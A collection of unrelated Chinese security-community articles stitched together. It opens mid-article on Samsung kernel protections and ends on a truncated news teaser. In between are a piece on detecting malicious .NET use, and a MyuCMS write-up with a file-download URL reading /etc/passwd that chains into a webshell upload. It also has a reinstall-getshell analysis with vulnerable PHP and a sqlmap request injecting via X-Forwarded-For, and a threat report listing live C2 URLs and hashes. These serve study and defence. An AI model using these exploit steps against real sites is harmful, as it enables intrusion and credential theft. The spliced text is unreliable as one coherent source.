3. 通过该原语来覆盖一个内核函数指针；
4. 调用函数将address_limit设置为-1；
5. 通过对selinux_(enable|enforcing)执行写操作绕过SELinux；
6. 通过对uid、gid、sid、capabilities执行写操作实现提权。
三星已经实现了相应的缓解措施，旨在尽可能阻止攻击者完成上述任务。例如，JOPP、ROPP和KDP就是其中的三种缓解措施。不过，需要注意的是并非所有的三星设备都具有相同的缓解措施。
以下是我们在下载各种固件更新后观察到的结果：
## JOPP机制
JOPP（Jump-Oriented Programming
Prevention）机制旨在防御JOP攻击。它是三星自己实现的一种CFI解决方案。对于该防御机制，首先会通过修改版的编译器工具链，在每个函数启动前放置一个NOP指令。然后，它会使用Python脚本（Kernel/scripts/rkp_cfp/instrument.py）来处理编译后的内核二进制文件，并用一个魔力值（0xbe7bad）来替换NOP，并使用指向helper函数的直接分支替换间接分支。
其中，helper函数jopp_springboard_bl_rX（位于Kernel/init/rkp_cfp.S中）会检查目标函数前的值是否匹配魔力值，如果匹配则进行跳转，否则将会发生崩溃：
.macrospringboard_blr, reg
jopp_springboard_blr_\reg:
pushRRX, xzr
ldr RRX_32, [\reg, #-4]
subsRRX_32, RRX_32, #0xbe7, lsl #12
cmp RRX_32, #0xbad
b.eq1f
...
inst0xdeadc0de //crash for sure
...
1:
pop RRX, xzr
br\reg
.endm
## ROPP机制
ROPP（Return-Oriented Programming
Prevention）机制旨在防御ROP攻击。实际上，它就是三星自家实现的“堆栈金丝雀”。同样，该机制也会使用修改版的编译器工具链，在stp
x29、x30指令之前以及ldp
x29、x30指令之后放置NOP指令，并防止分配寄存器X16和X17。然后，它使用同样的Python脚本来替换汇编后的C函数的序言和尾声，具体如下所示：
nop
stp x29, x30, [sp,#-<frame>]!
(insns)
ldp x29, x30, ...
nop
将被替换为：
eor RRX, x30, RRK
stp x29, RRX, [sp,#-<frame>]!
(insns)
ldp x29, RRX, ...
eor x30, RRX, RRK
其中RRX是X16的别名，RRK是X17的别名。
RRK被称为“线程密钥”，它们对于每个内核任务来说都是唯一的。所以，这里并不是直接把返回地址压入栈，而是先用这个密钥进行XOR处理，以防止攻击者在不知道线程密钥的情况下篡改返回地址。
线程密钥本身存储在thread_info结构体的rrk字段中，并使用RRMK进行了XOR处理。
struct thread_info {
// ...
unsigned long rrk;
};
RRMK被称为“主密钥”。在手机设备上，该密钥存储在DBGBCR5_EL1（Debug Breakpoint Value Register
5）系统寄存器中。它由管理程序（hypervisor）在内核初始化时设置，这一点将在后面介绍。
## KDP机制
KDP（Kernel Data
Protection）是另一种支持管理程序的缓解措施。它实际上就是自家实现的数据流完整性（DFI）解决方案。该机制借助于管理程序（hypervisor）让许多敏感的内核数据结构（如页表、struct
cred、struct task_security_struct、struct vfsmount、SELinux状态等）处于只读状态。
## 关于管理程序（Hypervisor）
为了理解三星的RKP缓解机制，需要先了解一些关于ARMv8平台上虚拟化扩展的基本知识。为此，我们建议您阅读“Lifting the (Hyper)
Visor”一文中的“HYP 101”一节，或“ On emulating hypervisors”一文中的“ARM Architecture &
Virtualization Extensions”一节。
套用这些章节的说法，由于管理程序的权限级别高于内核，因此，管理程序可以完全控制内核。下面是ARMv8平台上的架构示意图：
管理程序可以通过HVC（HyperVisor Call）指令接收来自内核的调用。此外，通过使用HCR（Hypervisor Configuration
Register）寄存器，管理程序不仅可以捕获通常由内核处理的关键操作（如访问虚拟内存控制寄存器等），还可以处理一般的异常。
最后，管理程序使用的是第二层地址转换，又称为“第二阶段转换”。在标准的“第一阶段转换”中，一个虚拟地址（VA）被转换成中间物理地址（IPA）。然后，这个IPA由第二阶段转换成最终的物理地址（PA）。
以下是启用2阶段地址转换后的地址转换示意图：
管理程序对自己的内存访问仍然只进行单级地址转换。
## 小结
在系列文章中，我们将为读者深入讲解三星手机的内核防护技术。在本文中，我们为读者介绍了内核漏洞的利用流程，三星手机内建的三种防御机制，并简要介绍了管理程序，在后续的文章中，会有更多精彩内容呈现给大家，敬请期待！
**（未完待续）** | 社区文章 |
# 如何检测.NET恶意使用行为（Part 2）
|
##### 译文声明
本文是翻译文章，文章原作者 Luke Jennings，文章来源：countercept.com
原文地址：<https://countercept.com/blog/detecting-malicious-use-of-net-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在[Part 1](https://countercept.com/blog/detecting-malicious-use-of-net-part-1/)中（[译文](https://www.anquanke.com/post/id/156474#h2-4)），我们研究了.NET是如何成为攻击工具中不可或缺的一部分的，越来越多攻击者直接使用它，并且多年来通过Powershell间接使用了它。然后，我们讨论了.NET程序集加载与传统DLL加载之间的一些差异，以及观察.NET程序集的方法，包括检测以byte[]数组加载的纯内存驻留程序集。
我们使用的机制之一是利用与 .NET CLR（Common Language Runtime/公共语言运行时）相关的两个不同的ETW
provider。今天我们将深入研究这些provider提供的更多信息。这篇文章假设读者了解Part 1的内容，因此建议先阅读。
## 二、跟踪JIT编译
当加载的程序集中的给定.NET方法尚未执行时，内存中存在CIL（Common Intermediate
Language/通用中间语言）代码，但实际执行该CIL代码的本地代码还不存在。C#编译将生成CIL代码，但需要由JIT引擎根据需要在运行时将其转换为本地代码。这正是JIT编译的本质，只有在实际调用该方法时才会生成本地代码。
你可以在[另一文章](http%EF%BC%9A//mattwarren.org/2017/12/15/How-does-.NET-JIT-a-method-and-Tiered-Compilation/)中看到相关的一些背景知识，文章介绍了在第一次执行时，本地代码是如何由JIT编译器生成的，在随后的调用中直接使用缓存的本地代码，不再需要解释CIL。
这对于.NET执行的自省(introspection)有一个非常有趣的副作用，因为我们之前介绍的CLR ETW
provider有与JIT编译相关的事件，这意味着我们应该能够在.NET方法第一次使用时得到一个事件。这为我们提供了更多关于调用CLR的进程中实际发生了什么的信息。如果我们启用正确的关键字来跟踪MethodJittingStarted事件，然后如Part
1中介绍的那样动态调用DemoAssembly，我们的[脚本](https%EF%BC%9A//gist.github.com/countercept/7765ba05ad00255bcf6a4a26d7647f6e)将有如下输出：
现在，我们不仅可以通过byte[]数组看到程序集的动态加载，还可以看到构造函数(.ctor)和noNames()方法都是由JIT引擎编译的，这说明它们都至少执行了一次。在本例中，我们看到一个非常简单的示例，但对我们了解程序集的实际操作很有帮助。
## 三、一个恶意例子 -使用SharpPick的Meterpreter PowerShell Stager
现在让我们考虑一个实际的恶意例子，它包含比单个方法调用更多的功能。对于这个例子，我们将使用msfvenom中的psh-net输出类型，并通过SharpPick动态执行它，而不需要实际使用powershell.exe本身。
在这里我们可以看到，对于合法的.NET应用程序来说，有几个方法调用可能被认为是有较高的风险以及较不常见的：
* CompileAssemblyFromSource() -在运行时动态编译C#代码，在内存中生成程序集
* FromBase64String() -有大量合法用例，但也经常被攻击框架和恶意软件使用，特别是用于编码shellcode。
* 本地API调用 -特别是Virtualalloc()和CreateThread()经常被恶意使用，但.NET程序通常不会将这些函数用于显式本地内存或线程管理。
但是，如果我们使用与以前相同的技术查找MethodJittingStarted消息，我们不会看到任何这些方法的JIT编译事件。不过，我们将看到一些与SharpPick本身的使用有关的事件：
因此，在这个例子中，我们看到SharpPick工具本身中Main()和RunPS()方法的编译仍然很有用，但是在提供的脚本中没有一个更有趣的方法调用。要理解为什么会这样，我们需要回想一下Part
1中关于标准.NET程序集和使用本地映像生成器(NGEN)预编译的本地程序集之间的区别的内容。
Microsoft提供的大多数常见.NET程序集都有NGEN生成的本地程序集，因此这些程序集已经存在本地代码，不需要进行JIT编译。这就解释了在Meterpreter
stager中缺少JIT编译方法的原因。但是还有其他的事件类型可以通过其他方式进行自省。
## 四、JIT方法内联(Inlining)与互操作(Interop)
与本地编译非常相似，JIT编译有许多提高代码效率的优化。其中之一是方法内联(Inlining)，是指将频繁调用的方法的代码直接复制到调用方法的代码中，避免连续的方法调用开销的过程。许多度量标准决定了什么时候这样做是有利的，但是一般来说，那些大小非常小且频繁调用的方法是最适合方法内联的。
这为自省引入了一种有趣的可能性，因为CLR ETW
provider在成功和失败的情况下都可以观察方法内联。这样做的结果是，即使对于NGEN编译的程序集，如果标准.NET程序集调用这些程序集中的方法，那么我们可以通过MethodJitInliningSucceded和MethodJitInliningFailed事件类型生成方法内联过程的成功或失败情况来观察这些方法：
在这里，我们可以看到调用FromBase64String()的方法内联尝试失败，这个调用是由SharpPick动态加载提供的Powershell脚本生成的动态类调用的，这使我们进一步了解了CLR在这种情况下的行为。
我们可以跟踪的另一组有趣的事件是Interop事件。这些都是在调用本地Win32
API时生成的。这是非常有用的，因为恶意使用Powershell或.NET来利用P/Invoke来执行本地代码是很常见的，而且通常有一组与此相关的高风险API调用，例如：用于本地内存分配的调用、用于代码注入的跨进程访问、或用于执行本地代码的线程管理。如果我们将所有这些事件类型放在一起，并将重点放在高风险事件上，那么通过SharpPick执行的meterpreter
stager的输出如下：
在这种情况下，我们讨论了一些更令人关切的安全问题：
* RunPS()方法指示SharpPick的使用(非常详细，但很容易失败)
* 在非Powershell进程中加载System.Management.Automation assembly程序集
* 通过byte[]数组加载动态程序集(在本例中为随机名称)
* FromBase64String()方法的使用
* 对Virtualalloc()和CreateThread()的Interop调用
## 五、另一个恶意的例子 -GhostPack的SafetyKatz
Metasploit的meterpreter是一个很好的例子，但也是一个较老的例子。作为恶意使用.NET的一个更现代的例子，我们将分析SafetyKatz，这是优秀的GhostPack工具套件([https://www.harmj0y.net/blog/redteaming/ghostpack/)的一部分](https://www.harmj0y.net/blog/redteaming/ghostpack/\)%E7%9A%84%E4%B8%80%E9%83%A8%E5%88%86)
GhostPack目前是C#工具的集合，它取代了许多以前只使用Powershell的攻击性工具，因此它们避免了对更新版本的Powershell所做的检测和日志记录改进。一个例子是SafetyKatz，它使用C#获取lsass进程的minidump，然后使用C#中的动态PE加载机制动态加载MimiKatz并从minidump提取凭据，这避免了Powershell日志记录，也避免了MimiKatz。如果我们正在查看其中的一些输出，可以看到一系列潜在危险的Interop调用。
如果我们查看关联的命名空间，这些名称空间来自Microsoft程序集。这与SafetyKatz使用的一些.NET方法的内部实现有关，例如查询流程是否具有很高的完整性等。但是，如果我们继续关注特定危险功能的列表，同时注意名称空间，我们可以看到一些非常有用的信息：
现在我们可以看到一些令人关切的行为：
* 来自应用程序主空间的Interop调用
* 用于获取实际进程转储的MiniDumpWriteDump()
* 用于MimiKatz的PE加载的Virtualalloc()、LoadLibrary()、CreateThread()等
* MemoryStream()和FromBase64String()与MimiKatz二进制内存中的解压缩相关的JIT事件
## 六、关于性能
为了跟踪某些方法级别的事件类型，我们需要在ETW
provider中启用详细日志记录。有些JIT事件可能非常嘈杂，特别是如果系统上加载了大量非本地.NET程序集。PyWinTrace库仅用作ETW的研究和探索工具，与使用C#或C/C+实现相比，处理ETW事件的效率极低。但是，对于实验室环境中的恶意.NET执行，它仍然是有用的。
尽管在生产环境中执行CLR事件跟踪的任何尝试都将利用高效的ETW进程管道，但JIT级别的跟踪可能仍然会产生很高的负载。但是，加载程序集和互操作跟踪组合仍然非常强大，并且产生的数据速率比完全JIT跟踪要低得多。
## 七、总结
在本文中，我们在前面工作的基础上，研究了如何使用JIT和Interop跟踪，通过观察事件，而不是简单的加载程序集信息，对调用.NET
CLR的进程的行为有更深入的了解。从检测和动态恶意软件分析的角度来看，这些数据都非常有用。
通过几个例子，我们研究了当使用SharpPick通过.NET动态执行Meterpreter Powershell
stager以及使用最近发布的SafetyKatz工具通过C#执行MimiKatz时，如何方便地显示高度可疑的指示符，这是GhostPack框架的一部分。 | 社区文章 |
# 前言
期末预习不下去，就找些cms审审．本文记录利用前台任意文件下载到后台文件上传达到geshell的目的
# 关于cms
MyuCMS开源内容管理系统,采用ThinkPHP开发而成的社区商城聚合，插件，模板，轻便快捷容易扩展.
# 后台任意文件上传
漏洞点：application/admin/controller/Forum.php
未做任何限制，可以直接上传任意文件
# 前台任意文件下载
## 漏洞成因
未进行身份验证，未过滤造成任意文件下载(交给cnvd了
## 漏洞分析
漏洞点：application/bbs/controller/Index.php
继续跟进`download`方法
`is_file`判断为true后，执行`readfile`
## 漏洞利用
http://127.0.0.1/cms/myucms/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1
## 实战getshell
**任意文件下载+任意文件上传达到getshell目的**
由于没有越权点无法直接上传文件，但可以注意到该cms是基于tp框架编写,站点也许会存在日志．
翻了翻本地搭建的环境日志，日志会记录后台登录的账号密码以及口令
利用py遍历站点的日志并下载下来，拿到后台管理的账号密码口令
(不优雅的py代码)
成功拿到后台管理账号密码，e... (好像可以直接爆破...
(马赛克)
成功登录后台
利用文件上传漏洞扔个shell上去
中间被ban了次ip,(切了手机热点，再上传一次
蚁剑连接
# 结语
多细心观察，利用有限手段geshell....(官方,逃
其实这里日志文件可以直接访问...主要分享下思路，文章如果有误还请师傅们斧正
# 参考链接
<https://www.cnvd.org.cn/flaw/show/CNVD-2019-44117> | 社区文章 |
# 网站重装getshell漏洞
漏洞发生在/install/index.php
<?php
...
include '../inc/config.php';
include 'conn.php';
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
...
<?php
switch($step) {
case '1':
include 'step_'.$step.'.php';
break;
case '2':
...
include 'step_'.$step.'.php';
break;
case '3':
include 'step_'.$step.'.php';
break;
case '4':
include 'step_'.$step.'.php';
break;
case '5':
function dexit($msg) {
echo '<script>alert("'.$msg.'");window.history.back();</script>';
exit;
}
$conn=connect($db_host,$db_user,$db_pass,'',$db_port);
if(!$conn) dexit('无法连接到数据库服务器，请检查配置');
$db_name or dexit('请填写数据库名');
if(!select_db($db_name)) {
if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败，请通过其他方式建立数据库');
}
...
$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
fclose($f);
$str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
$str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
$str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
$str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
$str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
$f=fopen($fp,"w+");
fputs($f,$str);
fclose($f);
include 'step_'.$step.'.php';
break;
case '6':
include 'step_'.$step.'.php';
break;
}
?>
# 分析代码
代码中通过传入的step的值是多少对应该目录下的文件
switch($step) {
case '1':
include 'step_'.$step.'.php';
break;
仔细阅读该每一个step文件可知，只有当step=1的时候才会检测/install/install.lock文件是否存在。
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过，如需重安装，请删除 /install/install.lock 文件</div>";
}else{
?>
也就是说，抓包改一下step=2可以绕过检测跳到安装界面
接下来的如何getshell呢，下面有段代码
$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
fclose($f);
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$url是可写入的，因为上面有一段代码:
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
可见这段extract函数把get,post传进来的值注册为变量
这里要检验数据库连接才可以到下面的文件写入，这里可以利用sql注入漏洞获取数据库信息
漏洞发生在user/logincheck.php第84行
<?php
...
$sql="select * from cms_user where username='".$username."' and password='".$password."' ";
$rs = query($sql);
$row= num_rows($rs);
if(!$row){
....
}else{
....
$rs = query($sql);
$row= fetch_array($rs);
if(!$row){
echo "<script>alert('用户被锁定！');history.go(-1)</script>";
}else{
query("delete from cms_login_times where ip='$ip'");//登录成功后，把登录次数记录删了
query("UPDATE cms_user SET showlogintime = lastlogintime WHERE username='".$username."'");//更新上次登录时间
query("UPDATE cms_user SET showloginip = loginip WHERE username='".$username."'");//更新上次登录IP
query("UPDATE cms_user SET logins = logins+1 WHERE username='".$username."'");
query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
if (strtotime(date("Y-m-d H:i:s"))-strtotime($row['lastlogintime'])>86400){
query("UPDATE cms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");
看一下getip的定义:
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
可用sqlmap跑出数据库信息
//sql.txt
POST /user/logincheck.php HTTP/1.1
Host: www.wyc.com
Content-Length: 111
Cache-Control: max-age=0
Origin: http://www.wyc.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.wyc.com/user/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: bdshare_firstime=1568780385995; PHPSESSID=7fih9osc4vupgl87u76unqvsag
Connection: close
X-Forwarded-For: 127.0.0.1*
得到数据库信息后 | 社区文章 |
**作者： 奇安信威胁情报中心**
**公众号：<https://mp.weixin.qq.com/s/MadzLRi2494UzDJMIGBbUQ>**
## 前言
裸条（裸贷）是在进行借款时，以借款人手持身份证的裸体照片替代借条。“裸条”借贷值得关注——女大学生用裸照获得贷款，当发生违约不还款时，放贷人以公开裸体照片和与借款人父母联系的手段作为要挟逼迫借款人还款。
近日，奇安信威胁情报中心红雨滴团队捕获了一起严重侵犯公民隐私的攻击，其通过使用极具诱惑性语言命名的压缩包进行传播，并使用了涉及裸贷等黄赌毒方面的图片和文档作为压缩包内容，并将木马混于其中，手段恶劣。
为确保更多人免受骗，我们披露了此次攻击。
除此之外，我们通过这起攻击中暴露的信息，进行溯源分析后，发现这起攻击背后实际上是一个初显规模的黑产狗推团伙。
(狗推，网络流行词，是对于在菲律宾从事网络博彩推广工作的人一种带有轻蔑性质的称呼。)
其针对的攻击目标大多从事博彩，色情等行业，且木马均为通过TeamViewer进行受害者设备控制，只为了进行菠菜或WZ行业推广，且攻击对象也基本为菠菜或WZ行业人员，具有黑吃黑属性。
因此我们结合黑吃黑对应007色彩，外加团伙的狗推属性，将其命名为“零零狗”
最后，我们对攻击团伙进行了溯源分析和黑客画像，为避免普通用户上当受骗，因此对该团伙进行了披露。
## 诱饵分析
本次初始攻击样本名称为：大学生配照片联系方式A袁双.rar。
压缩包内容如下图所示，可见，精准资源.exe即为恶意软件。
从图片来源看，图片疑似来源于借贷宝裸条门事件。
其压缩包内还有一个名为config的文件夹，实际上Setting.ini为Teamviewer程序，后续将阐述他如何被运用。
其中lnk文件疑似为攻击者的win7电脑打包而成，原路径为下图红框所示：
## 木马分析
下面我们对精准资源.exe进行简单分析:
Exe在启动后，首先便会将Config目录下的Setting.ini更名为Weller.exe并启动
更名后可见，其确实为TeamViewer程序。
TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序，桌面共享和文件传输的简单且快速的解决方案。为了连接到另一台计算机，只需要在两台计算机上同时运行
TeamViewer 即可，而不需要进行安装（也可以选择安装，安装后可以设置开机运行）。该软件第一次启动在两台计算机上自动生成伙伴
ID。只需要输入你的伙伴的ID到TeamViewer，然后就会立即建立起连接。
恶意软件启动TeamViewer后，其会获取TeamViewer窗口的用户ID（leon）以及密码（vivi），并将主机名+ “|” + 用户名（well）
，以及固定的一串VPD开头的值(vip)，构造成数据包的主要内容。
Vip这个字段的功能，我们在溯源分析后才发现其作用。
硬编码C2地址:
从抓包结果可见，与分析结果一致。
当攻击者获取到受害者的Teamviewer账号和密码后，其就会进行回连以便控制受害者电脑并进行进一步操作。
## 木马同源分析
由于样本在运行后会将配置文件改为Weller.exe并执行，通过该特征以及一些其他维度进行同源样本关联后，我们发现该黑产团伙的大量同源样本。
由于该团伙会使用同一个样本，但是使用不同的样本名进行投放，主要通过QQ进行文件传输从而传播。
因此经过统计，绘制表格如下所示。
除了样本中频繁出现的“专属大盗”，“大道”关键词外，其他关键字充分表明攻击目标所在。
名人开房合集、精准微信资源.exe、神圣计划v5.1.exe：
艾奇聊呗爆粉.exe:
亚博ab.exe:
可见目标均为涉及黄赌毒，网赚行业从业人员。
根据开源情报可见，该类木马最早上传时间为2019-03-28。
从一些同源木马中的关键字“第三步 把tv中的id和密码揪出来”“id和密码揪出来B”，可见代码应该是团伙成员所写，因为既有注释，且代码一直在更新。
除此之外，每个样本中都会有‘工程1’的字眼：
而投放这类木马一般基于压缩包进行投放，压缩包名称有：
这些压缩包诱饵中，除了一开始提及的大学生裸贷诱饵外，五组小玲所有文件便最能体现出该黑产团伙的攻击目标。
首先压缩包如下图所示，其中超级VPN为木马文件:
文件涉及博彩网站后台充值数据:
博彩网站的充值会员信息:
而这类数据，通常会被WZ行业人员再利用，针对这类人群进行广告投放，从而引流，可以使得这类人群再次前往制定博彩站点进行赌博。
因此，基于以上攻击数据，以及黑产团伙的攻击目标，我们暂时对该团伙定义为黑吃黑团伙，在下一节中，我们将会给出证据。
此外，由于这些木马回连C2都指向了一个IP：128.1.163.222.
值得一提的是，该类木马回连的C2上一目录的页面显示均为error0，因此可以由此确定C2服务端均为一个框架搭建而成。
基于此，我们对该IP的历史解析域名进行查证后，发现以下域名均会返回上述特征，因此可以确认这些域名均为黑产团伙的注册域名，此外一些域名的注册信息一致。
* perineed.com
* viqtecher.com
* img.88luoli.xyz
* crazy998.com
* wellerhere.com
* tecniqq.com
* msf998.com
* soniker.com
* perineed.com
* 22luoli.xyz
而其中，一个名为[www.crazy998.com](http://www.crazy998.com/)引起了我们的注意。
其首先展示的是一个抽奖页面：
在查看页面源代码后，我们发现其会访问腾讯的一个接口：
经过测试发现，在任何浏览器登录过QQ相关的服务，其对应的cookie均会显示在此页面，其中打码处为QQ号。
由于我们并没有攻击者的服务端，因此无法确认攻击者是如何利用该接口进行获取点击者的Cookie，也许其会配合木马使用，由此获取受害者的qq cookie。
除此之外，该站点代码还注释掉了一个QQ群的登录接口代码，同样暂未知用途。
因此建议所有用户在遇到存疑页面务必不要轻易点击，即使具有丰富安全经验人士也有可能因为过度自信而被窃取信息。
此外，由于域名img.88luoli.xyz，最早出现时间为2018年11月11日，这与其他域名均在2019年2月之后第一次出现并绑定IP所处的时间线极为不符合。
因此再次通过奇安信多维度数据关联发现，img.88luoli.xyz
2018/11/11 2018/11/15 128.1.174.219
美国/加利福尼亚州
2018/11/11 2018/11/11 42.51.15.24
中国/河南
可见，这个42.51.15.24河南IP，在11月11日绑定一天后，在15日将其更换为IP 128.1.174.219，并在6月23日更换为最新的ip
128.1.163.222。
因此，该河南的IP地址，高度疑似为攻击者的IP地址。
而受害者方面，大多为位于菲律宾的中文使用者。
## 黑客溯源分析
我们从上节中木马回连域名进行分析后，发现有多个域名并没有进行隐私保护处理。
可见qqchum.com 的Whois信息如下，我们发现其公司注册名为:
银河娱乐卢永利赌场 VIP房，而永利澳門（Wynn Macao）是一座位於澳門新口岸仙德麗街的賭場度假村，从下图中所填省份填的为澳门。
我们认为填写的此类信息的举动仅为了混淆视听，嫁祸于博彩网站。
紧接着，通过对该QQ进行查询，可以确认该团伙会通过各种渠道进行宣传。
根据多维度数据显示，样本通常使用QQ进行投放，这也印证了该团伙在各种论坛进行钓鱼活动。
可见下面这条帖子最符合一开始的攻击场景，作为精准资源关键字进行诱饵制作并投放。
从外网信息来看，该QQ号为购买所得。
从其头像和名称出发:
可见该QQ疑似伪装成一家专门做大数据的整合营销服务商。
紧接着，我们通过一些手段，确认了该黑产团伙，除了做引流，群发等生意，还通过远程控制他人电脑的不法手段获取用户信息数据从而进行售卖。
目标确实为柬埔寨的进行博彩行为的人，从而获取他们的个人信息，紧接着进行售卖，从而获取利润。
在后续的对话中，此人将测试木马一同发布给我们，一共两种木马，售价均为2500+永久更新。
而其中名为新大道的样本就是一开始利用Teamviewer的木马。
而该样本的回连C2正是IP：128.1.163.222。
同样第二个名为扣扣邮必达的样本，使用易语言编写。
其家族名为flystudio，一个专门窃取信息和Cookie的银行木马，其内置链接中同样为该IP地址。
因此可以证明此QQ，即为攻击者团伙的一名专门对外进行销售行为的成员。
而经过另外一些手段，我们发现该团伙不仅出售这类菠菜用户数据，而且还会使用appleid进行推送。
也就是平常这些关于赌场的日历推送，相信很多人都接收过。
紧接着，他为了更好的销售他的木马，因此还展示了他们的木马C2后台图片。
从后台的格式可知，这正是第一个木马对应回连信息，包括teamviewer ID，连接密码。
细心的同学应该看见了，这名攻击者无意中暴露了他的访问URL。
其中VIP字段的意义也许能够就此揭开谜底。
因此，我们将木马中的vip的值放于字段，并进行访问，如下图所示。
[http://128.1.163.222/proponent/Philips.php?&vip=VPDJGBGB9VDHFGVHGADE9JGFVPV9FGJBHFWFFJJ9GFDJGVEGJF9HDXJGVAHG9VHFGVHGADE9JGFJGJGBHJG9AGJXJGAJG9HFJAE](http://128.1.163.222/proponent/Philips.php?&vip=VPDJGBGB9VDHFGVHGADE9JGFVPV9FGJBHFWFFJJ9GFDJGVEGJF9HDXJGVAHG9VHFGVHGADE9JGFJGJGBHJG9AGJXJGAJG9HFJAE)
而此时的返回的居然显示，因仅是试用客户，后台地址已被封锁。
显然，他图片上的VIP值为最高权限值，而我们的值仅为试用权限，因此可以大胆猜想，攻击者可能会通过兜售该VIP值，从而让买家直接控制肉鸡电脑进行操作。
而后，他再次展示了另一种木马的功能，可以获取QQ好友以及对应IP。
并展示了进入QQ邮箱的手段，这个很有可能是前面提到的获取存在浏览器的QQ 邮箱的cookie并通过发送钓鱼链接进行获取。
除了这名团伙成员外，我们通过多维度数据关联，锁定了一名疑似为该团伙进行木马制作的成员：
并且，该QQ同样在一个名为易语言行业交流群中，这与其后来制作的易语言木马的踪迹一致。
最后，值得一提的是，统称市面上所称的精准资源，大多意思指的便是潜在客户资料，当然推送信息到这类客户身上只为了继续榨干他们的钱财罢了。
## 总结
最后，我们简单对零零狗组织进行黑客画像。
1. 其针对目标大部分为涉黑从业人员；
2. 组织分为两伙人，一伙进行用户信息售卖的业务宣传，一伙负责投放木；
3. 对黑市文化异常了解，经验十足；
4. 攻击手段狡猾，异常了解涉黑从业人员的性格和心理，这从攻击诱饵的命名方式来看体现的淋漓尽致；
5. 既售卖木马，又投放木马，攻击菠菜等相关涉黑从业人员的电脑，并会将获取的数据再贩卖给他们，具有典型的“黑吃黑”团伙属性。
奇安信威胁情报中心红雨滴团队在跟踪该团伙的过程中，发现有一些不是相关从业人员的电脑同样遭受了控制，因此表明该团伙并不单单是针对涉黑从业人员。
基于此，我们负责任的披露了该组织的活动，希冀各位谨记，切勿点击来路不明的文件，接受极具诱惑性语言的压缩包。
目前，奇安信集团全线产品可以对该组织所有活动进行检测。
## IOC
诱饵文件
35e152046cb874d6f09e933036335db9
67312d5d21c149ade1e3365aff60f7c2
恶意软件
290272aea423f5cc3d4192d6e67281f3
7be15765d752c3398e59484c0078c743
39a09109fd9d53a8b2c124bac53cec9e
78f25d8861572b29e183c3fa48cb6d34
1ce4ff83715ca73028064436beb01a78
9a4da73a8f9fa626b8c46c540ee843f7
0808a3b67d87007f169063ad228346b0
a362ee3189904e5a4dbcdcf4f9932d0f
eaae507c1dc2967ccde790552ede1d6d
e7a148ca37e99175ea93d8df7323f876
b45aaee1c4da525a3701e9cbcb3cabed
b25ba85e980e18a8d6161bb2211c8a9c
994cfc4623a4fb87cbce5a7d62fb3da5
7348b54368cd92e53c64a1dd89da6afa
8f8ea42254cda3709d82b4f5b25da8f8
b8ad2cb9f226126476f5b86913b4f678
510e4385de6694e23426600ee82a1cd2
URL
http://www.wellerhere.com/Niko/
http://www.saidu360.com/gn861/guangao38db33d940/
http://www.saidu360.com/an300/a279u2638db33h188/
http://www.qqchum.com/Niko/
http://www.taidu360.com/an300/a279u2638db33h188/
http://www.saidu360.com/xv900/b379h2638db83h191/
http://www.tecniqq.com/Net/
http://www.viqtecher.com/Nec/
域名
perineed.com
viqtecher.com
img.88luoli.xyz
crazy998.com
wellerhere.com
tecniqq.com
msf998.com
soniker.com
perineed.com
22luoli.xyz
saidu360.com
taidu360.com
ip
42.51.15.24
128.1.174.219
128.1.163.222
* * * | 社区文章 |
公司有需求，想购买一款商业的主机漏洞扫描器，求各位大神推荐哪款好用？
自己也简单的试用了Nessus，感觉port scan那块做得不好，会扫描出一堆误报开放的端口。漏洞扫描那块看了下，倒是能覆盖挺多的。
nexpose还没试用起来。
各位大神支支招，谢谢。 | 社区文章 |
# 安全快讯24 | 你的鼠标和键盘可能成为黑客工具
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### **当心！疫情新型“流调”诈骗来了！**
